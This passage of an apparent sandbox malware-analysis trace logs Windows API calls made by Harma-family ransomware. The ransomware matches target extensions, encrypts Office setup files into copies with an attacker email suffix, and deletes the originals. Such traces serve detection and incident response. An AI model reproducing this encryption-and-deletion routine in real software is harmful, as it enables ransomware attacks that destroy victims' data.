Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.285] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.285] lstrlenW (lpString=".doc") returned 4 [0049.285] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.285] lstrlenW (lpString=".docx") returned 5 [0049.285] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.285] lstrlenW (lpString=".pdf") returned 4 [0049.285] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.285] lstrlenW (lpString=".xls") returned 4 [0049.285] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.285] lstrlenW (lpString=".xlsx") returned 5 [0049.285] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.285] lstrlenW (lpString=".ppt") returned 4 [0049.285] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.285] lstrlenW (lpString=".zip") returned 4 [0049.285] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.285] lstrlenW (lpString=".rar") returned 4 [0049.286] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString=".bz2") returned 4 [0049.286] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString=".7z") returned 3 [0049.286] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.286] lstrlenW (lpString=".dbf") returned 4 [0049.286] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.286] lstrlenW (lpString=".1cd") returned 4 [0049.286] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.286] lstrlenW (lpString=".jpg") returned 4 [0049.286] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.286] lstrlenW (lpString=".doc") returned 4 [0049.286] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString=".docx") returned 5 [0049.286] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.286] lstrlenW (lpString=".pdf") returned 4 [0049.286] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString=".xls") returned 4 [0049.286] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString=".xlsx") returned 5 [0049.286] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.286] lstrlenW (lpString=".ppt") returned 4 [0049.286] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.287] lstrlenW (lpString=".zip") returned 4 [0049.287] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.287] lstrlenW (lpString=".rar") returned 4 [0049.287] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.287] lstrlenW (lpString=".bz2") returned 4 [0049.287] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.287] lstrlenW (lpString=".7z") returned 3 [0049.287] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.287] lstrlenW (lpString=".dbf") returned 4 [0049.287] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.287] lstrlenW (lpString=".1cd") returned 4 [0049.287] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0049.287] lstrlenW (lpString=".jpg") returned 4 [0049.287] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.287] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.287] lstrlenW (lpString="SETUP.XML") returned 9 [0049.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.288] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2296) returned 1 [0049.288] CloseHandle (hObject=0x15c) returned 1 [0049.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0049.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.288] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.289] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.290] GetLastError () returned 0x0 [0049.290] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0049.292] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x900, lpOverlapped=0x0) returned 1 [0049.293] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.293] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.293] SetEndOfFile (hFile=0x1dc) returned 1 [0049.293] CloseHandle (hObject=0x1dc) returned 1 [0049.294] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.294] SetEndOfFile (hFile=0x15c) returned 1 [0049.295] CloseHandle (hObject=0x15c) returned 1 [0049.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.296] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0049.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.296] lstrlenW (lpString=".doc") returned 4 [0049.296] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.296] lstrlenW (lpString=".docx") returned 5 [0049.296] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.296] lstrlenW (lpString=".pdf") returned 4 [0049.296] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.296] lstrlenW (lpString=".xls") returned 4 [0049.296] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.296] lstrlenW (lpString=".xlsx") returned 5 [0049.296] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.296] lstrlenW (lpString=".ppt") returned 4 [0049.296] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.296] lstrlenW (lpString=".zip") returned 4 [0049.296] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.296] lstrlenW (lpString=".rar") returned 4 [0049.296] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.296] lstrlenW (lpString=".bz2") returned 4 [0049.296] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.296] lstrlenW (lpString=".7z") returned 3 [0049.296] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.297] lstrlenW (lpString=".dbf") returned 4 [0049.297] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.297] lstrlenW (lpString=".1cd") returned 4 [0049.297] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.297] lstrlenW (lpString=".jpg") returned 4 [0049.297] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.297] lstrlenW (lpString=".doc") returned 4 [0049.297] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString=".docx") returned 5 [0049.297] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.297] lstrlenW (lpString=".pdf") returned 4 [0049.297] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString=".xls") returned 4 [0049.297] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString=".xlsx") returned 5 [0049.297] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.297] lstrlenW (lpString=".ppt") returned 4 [0049.297] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.297] lstrlenW (lpString=".zip") returned 4 [0049.297] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.297] lstrlenW (lpString=".rar") returned 4 [0049.297] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.297] lstrlenW (lpString=".bz2") returned 4 [0049.297] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.298] lstrlenW (lpString=".7z") returned 3 [0049.298] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.298] lstrlenW (lpString=".dbf") returned 4 [0049.298] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.298] lstrlenW (lpString=".1cd") returned 4 [0049.298] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0049.298] lstrlenW (lpString=".jpg") returned 4 [0049.298] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.298] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.298] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0049.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.298] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=913) returned 1 [0049.298] CloseHandle (hObject=0x15c) returned 1 [0049.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0049.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.299] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.299] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.301] GetLastError () returned 0x0 [0049.301] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x391, lpOverlapped=0x0) returned 1 [0049.302] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0049.303] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.303] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0049.303] SetEndOfFile (hFile=0x1dc) returned 1 [0049.303] CloseHandle (hObject=0x1dc) returned 1 [0049.304] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.304] SetEndOfFile (hFile=0x15c) returned 1 [0049.305] CloseHandle (hObject=0x15c) returned 1 [0049.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.305] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0049.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.305] lstrlenW (lpString=".doc") returned 4 [0049.306] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString=".docx") returned 5 [0049.306] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.306] lstrlenW (lpString=".pdf") returned 4 [0049.306] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString=".xls") returned 4 [0049.306] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString=".xlsx") returned 5 [0049.306] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.306] lstrlenW (lpString=".ppt") returned 4 [0049.306] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.306] lstrlenW (lpString=".zip") returned 4 [0049.306] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.306] lstrlenW (lpString=".rar") returned 4 [0049.306] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString=".bz2") returned 4 [0049.306] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString=".7z") returned 3 [0049.306] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.306] lstrlenW (lpString=".dbf") returned 4 [0049.306] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.306] lstrlenW (lpString=".1cd") returned 4 [0049.306] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.306] lstrlenW (lpString=".jpg") returned 4 [0049.306] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.307] lstrlenW (lpString=".doc") returned 4 [0049.307] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.307] lstrlenW (lpString=".docx") returned 5 [0049.307] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.307] lstrlenW (lpString=".pdf") returned 4 [0049.307] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.307] lstrlenW (lpString=".xls") returned 4 [0049.307] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.307] lstrlenW (lpString=".xlsx") returned 5 [0049.307] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.307] lstrlenW (lpString=".ppt") returned 4 [0049.307] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.307] lstrlenW (lpString=".zip") returned 4 [0049.307] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.307] lstrlenW (lpString=".rar") returned 4 [0049.307] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.307] lstrlenW (lpString=".bz2") returned 4 [0049.307] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.307] lstrlenW (lpString=".7z") returned 3 [0049.307] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.308] lstrlenW (lpString=".dbf") returned 4 [0049.308] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.308] lstrlenW (lpString=".1cd") returned 4 [0049.308] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0049.308] lstrlenW (lpString=".jpg") returned 4 [0049.308] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.308] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.308] lstrlenW (lpString="SETUP.XML") returned 9 [0049.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.309] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1452) returned 1 [0049.309] CloseHandle (hObject=0x15c) returned 1 [0049.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0049.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.309] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.309] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.310] GetLastError () returned 0x0 [0049.310] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, 